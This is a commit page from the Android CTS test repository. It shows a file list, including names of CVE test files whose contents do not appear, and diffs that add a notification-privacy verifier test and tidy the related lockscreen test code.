summaryrefslogtreecommitdiff
diff options
context:
space:
mode:
authorAndroid Build Coastguard Worker <android-build-coastguard-worker@google.com>2021-11-17 15:57:32 +0000
committerAndroid Build Coastguard Worker <android-build-coastguard-worker@google.com>2021-11-17 15:57:32 +0000
commitcd9b048c1f960e67efc469a9993cdb209315eaed (patch)
tree91d3701e14d398f02328516a8ce608c88722b89c
parent9eecad633cf6dfca2b672674a17fe50508bb12c7 (diff)
parent88558244bfabba880d5dff50e9abf11a2d823b20 (diff)
downloadcts-android12-mainline-art-release.tar.gz
Snap for 7924065 from 88558244bfabba880d5dff50e9abf11a2d823b20 to mainline-art-releaseandroid-mainline-12.0.0_r42android12-mainline-art-release
Change-Id: Id85513af366ca5c4e6b718fd8eda8d234e985404
-rw-r--r--apps/CtsVerifier/AndroidManifest.xml16
-rw-r--r--apps/CtsVerifier/res/layout/activity_show_when_locked.xml34
-rw-r--r--apps/CtsVerifier/res/layout/iva_pass_fail_item.xml3
-rw-r--r--apps/CtsVerifier/res/values/strings.xml40
-rw-r--r--apps/CtsVerifier/src/com/android/cts/verifier/TestResultsReport.java6
-rw-r--r--apps/CtsVerifier/src/com/android/cts/verifier/notifications/ActionTriggeredReceiver.java4
-rw-r--r--apps/CtsVerifier/src/com/android/cts/verifier/notifications/InteractiveVerifierActivity.java40
-rw-r--r--apps/CtsVerifier/src/com/android/cts/verifier/notifications/NotificationListenerVerifierActivity.java223
-rw-r--r--apps/CtsVerifier/src/com/android/cts/verifier/notifications/NotificationPrivacyVerifierActivity.java554
-rw-r--r--apps/CtsVerifier/src/com/android/cts/verifier/notifications/ShowWhenLockedActivity.java54
-rw-r--r--common/device-side/util-axt/src/com/android/compatibility/common/util/BaseDefaultPermissionGrantPolicyTest.java32
-rw-r--r--common/device-side/util-axt/src/com/android/compatibility/common/util/ExtraBusinessLogicTestCase.java7
-rw-r--r--common/device-side/util-axt/src/com/android/compatibility/common/util/MultiLogDevice.java47
-rw-r--r--common/device-side/util-axt/src/com/android/compatibility/common/util/OWNERS2
-rw-r--r--hostsidetests/appcompat/strictjavapackages/src/android/compat/sjp/cts/StrictJavaPackagesTest.java69
-rw-r--r--hostsidetests/edi/src/android/edi/cts/ClasspathDeviceInfo.java14
-rw-r--r--hostsidetests/install/Android.bp1
-rw-r--r--hostsidetests/install/src/android/cts/install/host/DeviceParameterized.java36
-rw-r--r--hostsidetests/install/src/android/cts/install/host/DowngradeTest.java9
-rw-r--r--hostsidetests/install/src/android/cts/install/host/InstallTest.java10
-rw-r--r--hostsidetests/install/src/android/cts/install/host/SamegradeTest.java9
-rw-r--r--hostsidetests/install/src/android/cts/install/host/UpgradeTest.java9
-rw-r--r--hostsidetests/jdwptunnel/src/android/jdwptunnel/cts/JdwpTunnelTest.java12
-rw-r--r--hostsidetests/scopedstorage/device/src/android/scopedstorage/cts/device/ScopedStorageDeviceTest.java73
-rw-r--r--hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/AppCloningHostTest.java24
-rw-r--r--hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/LegacyStorageHostTest.java5
-rw-r--r--hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/ScopedStorageHostTest.java20
-rw-r--r--hostsidetests/scopedstorage/legacy/src/android/scopedstorage/cts/legacy/LegacyStorageTest.java19
-rw-r--r--hostsidetests/scopedstorage/libs/ScopedStorageTestLib/src/android/scopedstorage/cts/lib/TestUtils.java17
-rw-r--r--hostsidetests/scopedstorage/src/android/scopedstorage/cts/ScopedStorageTest.java62
-rw-r--r--hostsidetests/securitybulletin/securityPatch/CVE-2018-9410/Android.bp41
-rw-r--r--hostsidetests/securitybulletin/securityPatch/CVE-2018-9410/poc.cpp71
-rw-r--r--hostsidetests/securitybulletin/securityPatch/CVE-2018-9549/Android.bp37
-rw-r--r--hostsidetests/securitybulletin/securityPatch/CVE-2018-9549/poc.cpp43
-rw-r--r--hostsidetests/securitybulletin/securityPatch/CVE-2019-2021/Android.bp1
-rw-r--r--hostsidetests/securitybulletin/securityPatch/CVE-2019-2021/poc.cpp49
-rw-r--r--hostsidetests/securitybulletin/securityPatch/CVE-2019-2022/Android.bp1
-rw-r--r--hostsidetests/securitybulletin/securityPatch/CVE-2019-2022/poc.cpp61
-rw-r--r--hostsidetests/securitybulletin/securityPatch/CVE-2021-0490/Android.bp26
-rw-r--r--hostsidetests/securitybulletin/securityPatch/CVE-2021-0490/poc.cpp387
-rw-r--r--hostsidetests/securitybulletin/securityPatch/CVE-2021-0596/Android.bp5
-rw-r--r--hostsidetests/securitybulletin/securityPatch/CVE-2021-0596/poc.cpp37
-rw-r--r--hostsidetests/securitybulletin/securityPatch/CVE-2021-0919/Android.bp37
-rw-r--r--hostsidetests/securitybulletin/securityPatch/CVE-2021-0919/poc.cpp70
-rw-r--r--hostsidetests/securitybulletin/securityPatch/CVE-2021-0956/Android.bp44
-rw-r--r--hostsidetests/securitybulletin/securityPatch/CVE-2021-0956/poc.cpp46
-rw-r--r--hostsidetests/securitybulletin/securityPatch/CVE-2021-1906/Android.bp7
-rw-r--r--hostsidetests/securitybulletin/securityPatch/CVE-2021-1906/msm_kgsl.h90
-rw-r--r--hostsidetests/securitybulletin/securityPatch/CVE-2021-1906/poc.c173
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9410.java36
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9549.java44
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0481.java28
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0490.java32
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0919.java44
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0922.java42
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0928.java68
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0956.java47
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0965.java54
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_1906.java38
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2021-0481/src/android/security/cts/CVE_2021_0481/DeviceTest.java7
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2021-0921/src/android/security/cts/CVE_2021_0921/Trigger.java10
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2021-0928/Android.bp33
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2021-0928/AndroidManifest.xml43
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2021-0928/res/layout/activity_main.xml11
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2021-0928/src/android/security/cts/CVE_2021_0928/AInjector.java296
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2021-0928/src/android/security/cts/CVE_2021_0928/DeviceTest.java62
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2021-0928/src/android/security/cts/CVE_2021_0928/MainActivity.java85
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2021-0928/src/com/android/server/pm/PackageManagerException.java5
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2021-0928/src/com/android/settings/SettingsInitialize.java39
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2021-0965/Android.bp37
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2021-0965/AndroidManifest.xml37
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2021-0965/res/layout/activity_main.xml26
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2021-0965/src/android/security/cts/CVE_2021_0965/DeviceTest.java56
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2021-0965/src/android/security/cts/CVE_2021_0965/PocActivity.java22
-rw-r--r--tests/PhotoPicker/Android.bp40
-rw-r--r--tests/PhotoPicker/AndroidManifest.xml29
-rw-r--r--tests/PhotoPicker/AndroidTest.xml44
-rw-r--r--tests/PhotoPicker/OWNERS3
-rw-r--r--tests/PhotoPicker/res/raw/lg_g4_iso_800_jpg.jpgbin0 -> 107684 bytes
-rw-r--r--tests/PhotoPicker/res/raw/testvideo_meta.mp4bin0 -> 20716 bytes
-rw-r--r--tests/PhotoPicker/src/android/photopicker/cts/GetResultActivity.java84
-rw-r--r--tests/PhotoPicker/src/android/photopicker/cts/PhotoPickerBaseTest.java72
-rw-r--r--tests/PhotoPicker/src/android/photopicker/cts/PhotoPickerCrossProfileTest.java148
-rw-r--r--tests/PhotoPicker/src/android/photopicker/cts/PhotoPickerTest.java364
-rw-r--r--tests/PhotoPicker/src/android/photopicker/cts/util/PhotoPickerAssertionsUtils.java161
-rw-r--r--tests/PhotoPicker/src/android/photopicker/cts/util/PhotoPickerFilesUtils.java116
-rw-r--r--tests/PhotoPicker/src/android/photopicker/cts/util/PhotoPickerUiUtils.java90
-rw-r--r--tests/app/src/android/app/cts/ActivityManagerFgsBgStartTest.java24
-rw-r--r--tests/libcore/jsr166/Android.bp2
-rw-r--r--tests/libcore/ojluni/Android.bp2
-rw-r--r--tests/libcore/runner/Android.bp2
-rw-r--r--tests/media/AndroidTest.xml2
-rw-r--r--tests/media/DynamicConfig.xml2
-rw-r--r--tests/media/README.md2
-rwxr-xr-xtests/media/copy_media.sh2
-rw-r--r--tests/media/src/android/mediav2/cts/CodecTestBase.java49
-rw-r--r--tests/media/src/android/mediav2/cts/DecoderColorAspectsTest.java3
-rw-r--r--tests/media/src/android/mediav2/cts/WorkDir.java2
-rw-r--r--tests/tests/content/src/android/content/pm/cts/PackageManagerShellCommandIncrementalTest.java13
-rw-r--r--tests/tests/icu/Android.bp1
-rw-r--r--tests/tests/neuralnetworks/Android.mk1
-rw-r--r--tests/tests/neuralnetworks/tflite_delegate/Android.bp58
-rw-r--r--tests/tests/neuralnetworks/tflite_delegate/Android.mk80
-rw-r--r--tests/tests/permission3/src/android/permission3/cts/BaseUsePermissionTest.kt12
-rw-r--r--tests/tests/permission3/src/android/permission3/cts/PermissionAttributionTest.kt8
-rw-r--r--tests/tests/permission3/src/android/permission3/cts/PermissionHistoryTest.kt9
-rw-r--r--tests/tests/permission3/src/android/permission3/cts/PermissionTest23.kt44
-rw-r--r--tests/tests/provider/src/android/provider/cts/media/MediaStoreAudioTestHelper.java25
-rw-r--r--tests/tests/provider/src/android/provider/cts/media/MediaStore_Audio_MediaTest.java38
-rw-r--r--tests/tests/role/Android.bp1
-rw-r--r--tests/tests/role/CtsRoleTestApp/AndroidManifest.xml1
-rw-r--r--tests/tests/role/src/android/app/role/cts/RoleManagerTest.java46
-rw-r--r--tests/tests/security/Android.bp3
-rw-r--r--tests/tests/security/AndroidManifest.xml9
-rw-r--r--tests/tests/security/res/raw/cve_2019_2186.mp4bin0 -> 849 bytes
-rw-r--r--tests/tests/security/src/android/security/cts/CVE_2021_0394.java10
-rw-r--r--tests/tests/security/src/android/security/cts/FlagSlipperyTest.kt369
-rw-r--r--tests/tests/security/src/android/security/cts/MotionEventTest.java6
-rw-r--r--tests/tests/security/src/android/security/cts/SlipperyEnterBottomActivity.kt39
-rw-r--r--tests/tests/security/src/android/security/cts/StagefrightTest.java10
-rw-r--r--tests/tests/sensorprivacy/src/android/sensorprivacy/cts/SensorPrivacyBaseTest.kt2
-rw-r--r--tests/tests/sensorprivacy/test-apps/CtsUseMicOrCameraAndOverlayForSensorPrivacy/Android.bp1
-rw-r--r--tests/tests/sensorprivacy/test-apps/CtsUseMicOrCameraForSensorPrivacy/Android.bp1
-rw-r--r--tools/cts-dynamic-config/Android.mk2
-rw-r--r--tools/cts-tradefed/res/config/cts-on-gsi-exclude.xml3
125 files changed, 5410 insertions, 504 deletions
diff --git a/apps/CtsVerifier/AndroidManifest.xml b/apps/CtsVerifier/AndroidManifest.xml
index bf85caef002..fcf4b89f764 100644
--- a/apps/CtsVerifier/AndroidManifest.xml
+++ b/apps/CtsVerifier/AndroidManifest.xml
@@ -2944,6 +2944,22 @@
android:value="multi_display_mode" />
</activity>
+ <activity android:name=".notifications.NotificationPrivacyVerifierActivity"
+ android:exported="true"
+ android:label="@string/notif_privacy_test">
+ <intent-filter>
+ <action android:name="android.intent.action.MAIN" />
+ <category android:name="android.cts.intent.category.MANUAL_TEST" />
+ </intent-filter>
+ <meta-data android:name="test_category" android:value="@string/test_category_notifications" />
+ <meta-data android:name="display_mode" android:value="multi_display_mode" />
+ </activity>
+
+ <activity android:name=".notifications.ShowWhenLockedActivity"
+ android:exported="true"
+ android:showWhenLocked="true"
+ />
+
<receiver android:name=".notifications.BlockChangeReceiver"
android:exported="true">
<intent-filter>
diff --git a/apps/CtsVerifier/res/layout/activity_show_when_locked.xml b/apps/CtsVerifier/res/layout/activity_show_when_locked.xml
new file mode 100644
index 00000000000..985f77b557c
--- /dev/null
+++ b/apps/CtsVerifier/res/layout/activity_show_when_locked.xml
@@ -0,0 +1,34 @@
+<!--
+ ~ Copyright (C) 2021 The Android Open Source Project
+ ~
+ ~ Licensed under the Apache License, Version 2.0 (the "License");
+ ~ you may not use this file except in compliance with the License.
+ ~ You may obtain a copy of the License at
+ ~
+ ~ http://www.apache.org/licenses/LICENSE-2.0
+ ~
+ ~ Unless required by applicable law or agreed to in writing, software
+ ~ distributed under the License is distributed on an "AS IS" BASIS,
+ ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ ~ See the License for the specific language governing permissions and
+ ~ limitations under the License.
+ -->
+
+<RelativeLayout
+ xmlns:android="http://schemas.android.com/apk/res/android"
+ xmlns:tools="http://schemas.android.com/tools"
+ android:layout_width="match_parent"
+ android:layout_height="match_parent"
+ android:paddingLeft="@dimen/activity_horizontal_margin"
+ android:paddingRight="@dimen/activity_horizontal_margin"
+ android:paddingTop="@dimen/activity_vertical_margin"
+ android:paddingBottom="@dimen/activity_vertical_margin"
+ tools:context=".notification.ShowWhenLockedActivity">
+
+ <TextView
+ android:layout_width="wrap_content"
+ android:layout_height="wrap_content"
+ android:layout_centerHorizontal="true"
+ android:id="@+id/description"/>
+
+</RelativeLayout>
diff --git a/apps/CtsVerifier/res/layout/iva_pass_fail_item.xml b/apps/CtsVerifier/res/layout/iva_pass_fail_item.xml
index 4bf5b63efe6..1c42105eab9 100644
--- a/apps/CtsVerifier/res/layout/iva_pass_fail_item.xml
+++ b/apps/CtsVerifier/res/layout/iva_pass_fail_item.xml
@@ -44,12 +44,13 @@
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:layout_alignParentRight="true"
- android:layout_below="@id/nls_instructions"
+ android:layout_below="@id/nls_action_button"
android:layout_marginLeft="20dip"
android:layout_marginRight="20dip"
android:layout_toRightOf="@id/nls_status"
android:text="@string/iva_pass"
android:onClick="actionPassed" />
+
<Button
android:id="@+id/iva_action_button_fail"
android:layout_width="wrap_content"
diff --git a/apps/CtsVerifier/res/values/strings.xml b/apps/CtsVerifier/res/values/strings.xml
index 95a1ef2d55d..26fe7c29eb3 100644
--- a/apps/CtsVerifier/res/values/strings.xml
+++ b/apps/CtsVerifier/res/values/strings.xml
@@ -2280,12 +2280,50 @@
on the lockscreen</string>
<string name="nls_restore_visibility">Please change the lock screen setting to show all
content on the lockscreen</string>
- <string name="add_screen_lock">Add a secure screen lock of any type</string>
+ <string name="add_screen_lock">Add a secure screen lock of any type.\nLet all notification content be shown.</string>
+ <string name="set_global_visibility_public">Update notification settings to ensure that all notification content is shown.</string>
+ <string name="set_global_visibility_private">Update notification settings to ensure that sensitive notification content is shown only when unlocked.</string>
+ <string name="set_global_visibility_secret">Update notification settings to ensure that all notifications are hidden on the lock screen.</string>
<string name="remove_screen_lock">Remove the added screen lock</string>
<string name="secure_action_lockscreen">Lock the screen and find the SecureActionOnLockScreenTest
notification. Tap on its action. Verify that the keyguard displays on tap, and that the
notification text does not update until the passcode is entered. Ensure that the notification
text does update once the device is unlocked.</string>
+ <string name="np_start_channel_settings">Launch Channel Settings</string>
+ <string name="np_start_security_settings">Launch Security Settings</string>
+ <string name="np_start_notif_settings">Launch Notification Settings</string>
+ <string name="np_when_locked_see_redacted">Lock the screen and find the NotifPrivacyTest notification.\n
+ Pass the test if the notification content is REDACTED and the icon is B.</string>
+ <string name="np_when_locked_see_private">Lock the screen and find the NotifPrivacyTest notification.\n
+ Pass the test if the notification content is EXPOSED and the icon is A.</string>
+ <string name="np_when_locked_hidden">Lock the screen and look for the NotifPrivacyTest notification.\n
+ Fail the test if it can be found without unlocking the device.</string>
+ <string name="np_start_occluding">Launch CallSimulator</string>
+ <string name="np_occluding_instructions">Launch the CallSimulator and follow the instructions on that screen.</string>
+ <string name="np_occluding_see_redacted">CallSimulator
+ \n\n(Like a call, this screen will be visible even when the device is locked.)
+ \n\nLock the screen, then come back here without unlocking.
+ \nPull down the notification shade and find the NotifPrivacyTest notification.
+ \nPass the test if the notification content is REDACTED and the icon is B.
+ \n\nGo back when ready to Pass/Fail the step.</string>
+ <string name="np_occluding_see_private">CallSimulator
+ \n\n(Like a call, this screen will be visible even when the device is locked.)
+ \n\nLock the screen, then come back here without unlocking.
+ \nPull down the notification shade and find the NotifPrivacyTest notification.
+ \nPass the test if the notification content is EXPOSED and the icon is A.
+ \n\nGo back when ready to Pass/Fail the step.</string>
+ <string name="np_occluding_hidden">CallSimulator
+ \n\n(Like a call, this screen will be visible even when the device is locked.)
+ \n\nLock the screen, then come back here without unlocking.
+ \nPull down the notification shade and look for the NotifPrivacyTest notification.
+ \nFail the test if it can be found without unlocking the device.
+ \n\nGo back when ready to Pass/Fail the step.</string>
+ <string name="np_public_version_text">NotifPrivacyTest: REDACTED</string>
+ <string name="np_private_version_text">NotifPrivacyTest: EXPOSED</string>
+ <string name="notif_privacy_test">Notification Privacy Test</string>
+ <string name="notif_privacy_info">This test checks that Notification privacy is correctly
+ handled on the insecure and secure lockscreen.
+ </string>
<string name="msg_extras_preserved">Check that Message extras Bundle was preserved.</string>
<string name="conversation_section_ordering">If this device supports conversation notifications,
and groups them into a separate section from alerting and silent non-conversation
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/TestResultsReport.java b/apps/CtsVerifier/src/com/android/cts/verifier/TestResultsReport.java
index c1e43e1669f..03438e3d5d4 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/TestResultsReport.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/TestResultsReport.java
@@ -80,6 +80,7 @@ class TestResultsReport {
String abis64 = null;
String versionBaseOs = null;
String versionSecurityPatch = null;
+ String versionRelease = null;
IInvocationResult result = new InvocationResult();
IModuleResult moduleResult = result.getOrCreateModule(
mContext.getResources().getString(R.string.module_id));
@@ -97,6 +98,9 @@ class TestResultsReport {
versionSecurityPatch = Build.VERSION.SECURITY_PATCH;
}
+ versionRelease = (Build.VERSION.SDK_INT >= Build.VERSION_CODES.R)
+ ? Build.VERSION.RELEASE_OR_CODENAME : Build.VERSION.RELEASE;
+
// at the time of writing, the build class has no REFERENCE_FINGERPRINT property
String referenceFingerprint = null;
@@ -104,7 +108,7 @@ class TestResultsReport {
Build.CPU_ABI2, abis, abis32, abis64, Build.BOARD, Build.BRAND, Build.DEVICE,
Build.FINGERPRINT, null, Build.ID, Build.MANUFACTURER, Build.MODEL, Build.PRODUCT,
referenceFingerprint, Build.getSerial(), Build.TAGS, Build.TYPE, versionBaseOs,
- Build.VERSION.RELEASE_OR_CODENAME, Integer.toString(Build.VERSION.SDK_INT),
+ versionRelease, Integer.toString(Build.VERSION.SDK_INT),
versionSecurityPatch, Build.VERSION.INCREMENTAL);
// add device properties to the result with a prefix tag for each key
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/notifications/ActionTriggeredReceiver.java b/apps/CtsVerifier/src/com/android/cts/verifier/notifications/ActionTriggeredReceiver.java
index ea48ccebe85..548208716d8 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/notifications/ActionTriggeredReceiver.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/notifications/ActionTriggeredReceiver.java
@@ -42,7 +42,7 @@ public class ActionTriggeredReceiver extends BroadcastReceiver {
String updateSendText = context.getString(R.string.action_received);
NotificationManager nm = context.getSystemService(NotificationManager.class);
Notification n1 = new Notification.Builder(
- context, NotificationListenerVerifierActivity.TAG)
+ context, NotificationPrivacyVerifierActivity.TAG)
.setContentTitle(initialSend ? initialSendText: updateSendText)
.setContentText(initialSend ? initialSendText : updateSendText)
.setSmallIcon(R.drawable.ic_stat_charlie)
@@ -59,7 +59,7 @@ public class ActionTriggeredReceiver extends BroadcastReceiver {
Intent intent = new Intent(ACTION);
intent.setComponent(new ComponentName(context, ActionTriggeredReceiver.class));
PendingIntent pi = PendingIntent.getBroadcast(context, 0, intent,
- PendingIntent.FLAG_UPDATE_CURRENT | PendingIntent.FLAG_MUTABLE_UNAUDITED);
+ PendingIntent.FLAG_UPDATE_CURRENT | PendingIntent.FLAG_IMMUTABLE);
return pi;
}
}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/notifications/InteractiveVerifierActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/notifications/InteractiveVerifierActivity.java
index 0a21dd8540b..1fe5060c420 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/notifications/InteractiveVerifierActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/notifications/InteractiveVerifierActivity.java
@@ -17,7 +17,6 @@
package com.android.cts.verifier.notifications;
import static android.provider.Settings.ACTION_NOTIFICATION_LISTENER_DETAIL_SETTINGS;
-import static android.provider.Settings.ACTION_NOTIFICATION_LISTENER_SETTINGS;
import static android.provider.Settings.EXTRA_NOTIFICATION_LISTENER_COMPONENT_NAME;
import android.app.NotificationManager;
@@ -193,14 +192,15 @@ public abstract class InteractiveVerifierActivity extends PassFailButtons.Activi
outState.putInt(STATE, stateIndex);
final int status = mCurrentTest == null ? SETUP : mCurrentTest.status;
outState.putInt(STATUS, status);
- Log.i(TAG, "saved state(" + stateIndex + "}, status(" + status + ")");
+ Log.i(TAG, "saved state(" + stateIndex + "), status(" + status + ")");
}
@Override
protected void onResume() {
super.onResume();
//To avoid NPE during onResume,before start to iterate next test order
- if (mCurrentTest!= null && mCurrentTest.autoStart()) {
+ if (mCurrentTest != null && mCurrentTest.status != SETUP && mCurrentTest.autoStart()) {
+ Log.i(TAG, "auto starting: " + mCurrentTest.getClass().getSimpleName());
mCurrentTest.status = READY;
}
next();
@@ -208,11 +208,22 @@ public abstract class InteractiveVerifierActivity extends PassFailButtons.Activi
// Interface Utilities
+ protected final void setButtonsEnabled(View view, boolean enabled) {
+ if (view instanceof Button) {
+ view.setEnabled(enabled);
+ } else if (view instanceof ViewGroup) {
+ ViewGroup viewGroup = (ViewGroup) view;
+ for (int i = 0; i < viewGroup.getChildCount(); i++) {
+ View child = viewGroup.getChildAt(i);
+ setButtonsEnabled(child, enabled);
+ }
+ }
+ }
+
protected void markItem(InteractiveTestCase test) {
if (test == null) { return; }
View item = test.view;
- ImageView status = (ImageView) item.findViewById(R.id.nls_status);
- View button = item.findViewById(R.id.nls_action_button);
+ ImageView status = item.findViewById(R.id.nls_status);
switch (test.status) {
case WAIT_FOR_USER:
status.setImageResource(R.drawable.fs_warning);
@@ -226,14 +237,12 @@ public abstract class InteractiveVerifierActivity extends PassFailButtons.Activi
case FAIL:
status.setImageResource(R.drawable.fs_error);
- button.setClickable(false);
- button.setEnabled(false);
+ setButtonsEnabled(test.view, false);
break;
case PASS:
status.setImageResource(R.drawable.fs_good);
- button.setClickable(false);
- button.setEnabled(false);
+ setButtonsEnabled(test.view, false);
break;
}
@@ -253,7 +262,7 @@ public abstract class InteractiveVerifierActivity extends PassFailButtons.Activi
View item = mInflater.inflate(R.layout.nls_item, parent, false);
TextView instructions = item.findViewById(R.id.nls_instructions);
instructions.setText(getString(messageId, messageFormatArgs));
- Button button = (Button) item.findViewById(R.id.nls_action_button);
+ Button button = item.findViewById(R.id.nls_action_button);
button.setText(actionId);
button.setTag(actionId);
return item;
@@ -275,6 +284,17 @@ public abstract class InteractiveVerifierActivity extends PassFailButtons.Activi
return item;
}
+ protected View createUserAndPassFailItem(ViewGroup parent, int actionId, int stringId) {
+ View item = mInflater.inflate(R.layout.iva_pass_fail_item, parent, false);
+ TextView instructions = item.findViewById(R.id.nls_instructions);
+ instructions.setText(stringId);
+ Button button = item.findViewById(R.id.nls_action_button);
+ button.setVisibility(View.VISIBLE);
+ button.setText(actionId);
+ button.setTag(actionId);
+ return item;
+ }
+
// Test management
abstract protected List<InteractiveTestCase> createTestItems();
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/notifications/NotificationListenerVerifierActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/notifications/NotificationListenerVerifierActivity.java
index b1b003142d3..0ffd2597c6e 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/notifications/NotificationListenerVerifierActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/notifications/NotificationListenerVerifierActivity.java
@@ -17,11 +17,9 @@
package com.android.cts.verifier.notifications;
import static android.app.Notification.VISIBILITY_PRIVATE;
-import static android.app.Notification.VISIBILITY_PUBLIC;
import static android.app.NotificationManager.IMPORTANCE_LOW;
import static android.app.NotificationManager.IMPORTANCE_MAX;
import static android.app.NotificationManager.IMPORTANCE_NONE;
-import static android.app.NotificationManager.VISIBILITY_NO_OVERRIDE;
import static android.provider.Settings.ACTION_NOTIFICATION_LISTENER_SETTINGS;
import static android.provider.Settings.EXTRA_APP_PACKAGE;
import static android.provider.Settings.EXTRA_CHANNEL_ID;
@@ -38,7 +36,6 @@ import static com.android.cts.verifier.notifications.MockListener.JSON_WHEN;
import static com.android.cts.verifier.notifications.MockListener.REASON_LISTENER_CANCEL;
import android.annotation.SuppressLint;
-import android.app.KeyguardManager;
import android.app.Notification;
import android.app.NotificationChannel;
import android.app.NotificationChannelGroup;
@@ -153,12 +150,6 @@ public class NotificationListenerVerifierActivity extends InteractiveVerifierAct
tests.add(new IsDisabledTest());
tests.add(new ServiceStoppedTest());
tests.add(new NotificationNotReceivedTest());
- if (!isAutomotive) {
- tests.add(new RestoreLockscreenVisibilityTest());
- tests.add(new AddScreenLockTest());
- tests.add(new SecureActionOnLockScreenTest());
- tests.add(new RemoveScreenLockTest());
- }
return tests;
}
@@ -1703,219 +1694,6 @@ public class NotificationListenerVerifierActivity extends InteractiveVerifierAct
}
}
- /**
- * Creates a notification channel. Sends the user to settings to re-allow the channel to
- * show content on the lockscreen.
- * This asks the user to undo what they did for {@link LockscreenVisibilityTest}
- */
- protected class RestoreLockscreenVisibilityTest extends InteractiveTestCase {
- private View mView;
- @Override
- protected View inflate(ViewGroup parent) {
- mView = createNlsSettingsItem(parent, R.string.nls_restore_visibility);
- Button button = mView.findViewById(R.id.nls_action_button);
- button.setEnabled(false);
- return mView;
- }
-
- @Override
- protected void setUp() {
- createChannels();
- status = READY;
- Button button = mView.findViewById(R.id.nls_action_button);
- button.setEnabled(true);
- }
-
- @Override
- boolean autoStart() {
- return true;
- }
-
- @Override
- protected void test() {
- NotificationChannel channel = mNm.getNotificationChannel(NOTIFICATION_CHANNEL_ID);
- int visibility = channel.getLockscreenVisibility();
- if (visibility == VISIBILITY_PUBLIC || visibility == VISIBILITY_NO_OVERRIDE) {
- status = PASS;
- } else {
- status = WAIT_FOR_USER;
- }
-
- next();
- }
-
- protected void tearDown() {
- deleteChannels();
- }
-
- @Override
- protected Intent getIntent() {
- return new Intent(Settings.ACTION_CHANNEL_NOTIFICATION_SETTINGS)
- .putExtra(EXTRA_APP_PACKAGE, mContext.getPackageName())
- .putExtra(EXTRA_CHANNEL_ID, NOTIFICATION_CHANNEL_ID);
- }
- }
-
- private class AddScreenLockTest extends InteractiveTestCase {
- private View mView;
- @Override
- protected View inflate(ViewGroup parent) {
- mView = createNlsSettingsItem(parent, R.string.add_screen_lock);
- Button button = mView.findViewById(R.id.nls_action_button);
- button.setEnabled(false);
- return mView;
- }
-
- @Override
- protected void setUp() {
- status = READY;
- Button button = mView.findViewById(R.id.nls_action_button);
- button.setEnabled(true);
- }
-
- @Override
- boolean autoStart() {
- return true;
- }
-
- @Override
- protected void test() {
- KeyguardManager km = getSystemService(KeyguardManager.class);
- if (km.isDeviceSecure()) {
- status = PASS;
- } else {
- status = WAIT_FOR_USER;
- }
-
- next();
- }
-
- @Override
- protected Intent getIntent() {
- return new Intent(Settings.ACTION_SECURITY_SETTINGS)
- .addFlags(Intent.FLAG_ACTIVITY_CLEAR_TASK);
- }
- }
-
- private class SecureActionOnLockScreenTest extends InteractiveTestCase {
- @Override
- protected void setUp() {
- createChannels();
- ActionTriggeredReceiver.sendNotification(mContext, true);
- status = READY;
- }
-
- @Override
- protected void tearDown() {
- mNm.cancelAll();
- deleteChannels();
- delay();
- }
-
- @Override
- protected View inflate(ViewGroup parent) {
- return createPassFailItem(parent, R.string.secure_action_lockscreen);
- }
-
- @Override
- boolean autoStart() {
- return true;
- }
-
- @Override
- protected void test() {
- status = WAIT_FOR_USER;
- next();
- }
- }
-
- private class RemoveScreenLockTest extends InteractiveTestCase {
- private View mView;
- @Override
- protected View inflate(ViewGroup parent) {
- mView = createNlsSettingsItem(parent, R.string.remove_screen_lock);
- Button button = mView.findViewById(R.id.nls_action_button);
- button.setEnabled(false);
- return mView;
- }
-
- @Override
- protected void setUp() {
- status = READY;
- Button button = mView.findViewById(R.id.nls_action_button);
- button.setEnabled(true);
- }
-
- @Override
- boolean autoStart() {
- return true;
- }
-
- @Override
- protected void test() {
- KeyguardManager km = getSystemService(KeyguardManager.class);
- if (!km.isDeviceSecure()) {
- status = PASS;
- } else {
- status = WAIT_FOR_USER;
- }
-
- next();
- }
